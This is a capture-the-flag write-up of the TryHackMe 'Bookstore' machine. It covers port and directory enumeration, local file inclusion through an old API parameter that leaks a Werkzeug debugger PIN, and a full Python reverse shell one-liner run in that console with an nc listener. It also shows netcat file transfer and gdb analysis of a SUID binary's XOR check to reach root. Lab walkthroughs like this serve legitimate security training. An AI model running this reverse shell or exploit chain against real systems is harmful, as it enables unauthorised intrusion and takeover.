This is the medium box on TryHackMe website. It requires the some simple knowledge about reverse engineering. Lets start
For beginning I put the ip in /etc/hosts
for convinient
10.10.125.102 bookstore.thm
Enumeration
Port Scanning
Let’s start with some port scanning with nmap
nmap -v -p- bookstore.thm
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
So we see there are 3 services is running here. Let’s scan the name of these services
nmpa -A -p 80,5000 bookstore.thm
...
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
...
So we can see there is 2 webservers is running here. Let’s start with port 80.
Port 80
At a first glance, we can see this is a website for books. It has 3 main page:
index.html
: landing pagelogin.html
: login pagebooks.html
: a page for display 4 books at a time
I also directory brute force to see is there any hidden directory
gobuster dir -u http://bookstore.thm -w /usr/share/wordlists/dirb/common.txt -t 20
...
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/assets (Status: 301) [Size: 315] [--> http://bookstore.thm/assets/]
/favicon.ico (Status: 200) [Size: 15406]
/images (Status: 301) [Size: 315] [--> http://bookstore.thm/images/]
/index.html (Status: 200) [Size: 6452]
/javascript (Status: 301) [Size: 319] [--> http://bookstore.thm/javascript/]
/server-status (Status: 403) [Size: 278]
We found some more directories but mostly for storing resources for the website. Let go through later.
index.html
This is landing page for the webpage, most of its link does’t work. For enumeration, I also look at the page source and it scripts but there is nothing much there. Most of its functions is use for animation on the page. So time for we move on.
login.html
This is the login page but the login function is not working, it just a mock page cause it only make a GET request to itselft and do nothing there. When i look at the page source, I found this line
<script src="more_css/js/main.js"></script>
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->
So our thought is correct, the login isn’t working. But it provide us information about some debugger on the page and it’s pin in in .bash_history
file. Its scripts don’t give us anything usefull. So time to move on
books.html
It looks like this page display 4 books at a times. When look at the source code I found 2 interesting things
First things an encoded string
It decoded it with Base 32
then with Hex
and we got this youtube link
And when you click it, congratulations for being rick roll
:(.
The second one I found is in the file api.js
. We found another hind (the real one)
renderUsers();
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
It tell us that there is some vulnerable parameter for the older API system. And I think our time to move on.
Port 5000
This must be the API server the hint talking to. Let start with some directory bruteforce
gobuster dir -u http://bookstore.thm:5000 -w /usr/share/wordlists/dirb/common.txt -t 20
...
/api (Status: 200) [Size: 825]
/console (Status: 200) [Size: 1985]
/robots.txt (Status: 200) [Size: 45]
We found 3 interesting directories here. Let go one by one
/api
We can see a nice api document here
Notice this is the v2
, the hint said the previous version
. So I think we should you v1
here. This api has the path is /api/v1/resources/books
with 4 paramter here. We can try to look for another param here. I will use wfuzz
with this wordlists
wfuzz --hc 404 -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=a.txt -w /usr/share/wordlists/seclist/api_object.txt
We can see there is a new paramteer xxxx
that return us the status 500. Let’s check it out:
So there must be a param allow us to read file. Let’s read the file .bash_history
from the hints before.
cd /home/sid whoami export WERKZEUG_DEBUG_PIN=xxx-xxx-xxx echo $WERKZEUG_DEBUG_PIN python3 /home/sid/api.py ls exit
Now we got the debbuger pin. So I get the path /console
must be the debbuger web UI.
/console
Using the pin we successfully login to the console
Exploit
RCE
Notice the console using python, so we can try a python reverse shell here. I try with this code
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
After that you will the revese shell back to your host on port 7777
root@kali:~# nc -vnlp 7777
listening on [any] 7777 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.116.55] 55648
sid@bookstore:~$ cat user.txt
cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
sid@bookstore:~$
To root
You can see there is a SUID file name try-harder
in our home folder. It’s a binary file so I download it to my local machine. I want to keep this shell so I use netcat
for transfering file
# reciever
nc -vlp 1234 > try-harder
# sender
nc -w 3 [destination] 1234 < try-harder
Then we need to do some reverse engineering on this file. I will use gdb
for this one
(gdb) disas main
Dump of assembler code for function main:
0x00005555554007aa <+0>: push %rbp
0x00005555554007ab <+1>: mov %rsp,%rbp
0x00005555554007ae <+4>: sub $0x20,%rsp
0x00005555554007b2 <+8>: mov %fs:0x28,%rax
0x00005555554007bb <+17>: mov %rax,-0x8(%rbp)
0x00005555554007bf <+21>: xor %eax,%eax
0x00005555554007c1 <+23>: mov $0x0,%edi
0x00005555554007c6 <+28>: call 0x555555400680 <setuid@plt>
0x00005555554007cb <+33>: movl $0x5db3,-0x10(%rbp)
0x00005555554007d2 <+40>: lea 0xfb(%rip),%rdi # 0x5555554008d4
0x00005555554007d9 <+47>: call 0x555555400640 <puts@plt>
0x00005555554007de <+52>: lea -0x14(%rbp),%rax
0x00005555554007e2 <+56>: mov %rax,%rsi
0x00005555554007e5 <+59>: lea 0x102(%rip),%rdi # 0x5555554008ee
0x00005555554007ec <+66>: mov $0x0,%eax
0x00005555554007f1 <+71>: call 0x555555400670 <__isoc99_scanf@plt>
0x00005555554007f6 <+76>: mov -0x14(%rbp),%eax
0x00005555554007f9 <+79>: xor $0x1116,%eax
0x00005555554007fe <+84>: mov %eax,-0xc(%rbp)
0x0000555555400801 <+87>: mov -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>: xor %eax,-0xc(%rbp)
0x0000555555400807 <+93>: cmpl $0x5dcd21f4,-0xc(%rbp)
0x000055555540080e <+100>: jne 0x555555400823 <main+121>
0x0000555555400810 <+102>: lea 0xda(%rip),%rdi # 0x5555554008f1
0x0000555555400817 <+109>: mov $0x0,%eax
0x000055555540081c <+114>: call 0x555555400660 <system@plt>
0x0000555555400821 <+119>: jmp 0x55555540082f <main+133>
0x0000555555400823 <+121>: lea 0xd4(%rip),%rdi # 0x5555554008fe
0x000055555540082a <+128>: call 0x555555400640 <puts@plt>
0x000055555540082f <+133>: nop
0x0000555555400830 <+134>: mov -0x8(%rbp),%rax
0x0000555555400834 <+138>: xor %fs:0x28,%rax
0x000055555540083d <+147>: je 0x555555400844 <main+154>
0x000055555540083f <+149>: call 0x555555400650 <__stack_chk_fail@plt>
0x0000555555400844 <+154>: leave
0x0000555555400845 <+155>: ret
End of assembler dump.
After disamble
we get these assembly code. For easy, I write some equivalent C code here:
#include <stdio.h>
int main()
{
int num;
puts("What's The Magic Number?!");
scanf("%d", &num);
num = num ^ a ^ b;
if (num == key) {
... do somthing here
} else {
puts("Incorrect Try Harder");
return 0;
}
}
It’s could be not 100% same as real code, but it show the main flow of the code. There are 3 number we don’t know here, this is a
, b
, key
. But we can focus on this block of code to find out:
0x00005555554007f1 <+71>: call 0x555555400670 <__isoc99_scanf@plt>
0x00005555554007f6 <+76>: mov -0x14(%rbp),%eax
0x00005555554007f9 <+79>: xor $0x1116,%eax
0x00005555554007fe <+84>: mov %eax,-0xc(%rbp)
0x0000555555400801 <+87>: mov -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>: xor %eax,-0xc(%rbp)
0x0000555555400807 <+93>: cmpl $0x5dcd21f4,-0xc(%rbp)
0x000055555540080e <+100>: jne 0x555555400823
We can see here, the code execute a shared libray call scanf
which we execute to read our input and our input will be store in register eax
(it is convention in assembly). Then we our register is xor with 0x1116
0x00005555554007f9 <+79>: xor $0x1116,%eax
So we found the first number a
. Move on with this
0x00005555554007fe <+84>: mov %eax,-0xc(%rbp)
0x0000555555400801 <+87>: mov -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>: xor %eax,-0xc(%rbp)
We can see it move to the value after xor to -0xc(%rbp)
(left to right) and then we override eax
with value inside -0x10(%rbp)
and then xor with value before. So our next number b
is the value of -0x10(%rbp)
. But how to find it? -0x10(%rbp)
mean 0x10
byte before the address of register rbp
. So we need add a break at the xor
line to find out the value inside -0x10(%rbp)
(gdb) break *main+90
Breakpoint 1 at 0x555555400804
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/learning/practice/tryhackme/book_store/try
What's The Magic Number?!
2000
Breakpoint 4, 0x0000555555400804 in main ()
Now we have stop at the xor
line. Let’s find out the address of address of register rbp
(gdb) x/a $rbp
0x7fffffffe450: 0x555555400850 <__libc_csu_init>
So we know rbp
is at the address 0x7fffffffe450
but we want -0x10(%rbp)
. So the address we want to see is 0x7fffffffe450 - 0x10 = 0x7fffffffe440
(you can coverse to decimal then substract too). Let’s see value at 0x7fffffffe440
(gdb) x/x 0x7FFFFFFFE440
0x7fffffffe440: 0x000016c600005db3
So our b
value is 00005db3
*(we take only 2 bytes cause integer valu accounts of 2 bytes). Now we have the last line
0x0000555555400807 <+93>: cmpl $0x5dcd21f4,-0xc(%rbp)
0x000055555540080e <+100>: jne 0x555555400823
After xor then it compare with 0x5dcd21f4
so this our key
parameter. So now we got enough 3 number. To calculate the input to statisfied the if condition, we need to calculate input = key ^ b ^ a
which is input = 0x5dcd21f4 ^ 00005db3 ^ 0x1116 = 0xXXXXXXXX
. You can then converse it to decimal and input it.
sid@bookstore:~$ ./tr
./try-harder
What's The Magic Number?!
aaaaaaaaaa
aaaaaaaaaa
root@bookstore:~# cat /root/root.txt
cat /root/root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
This is the end.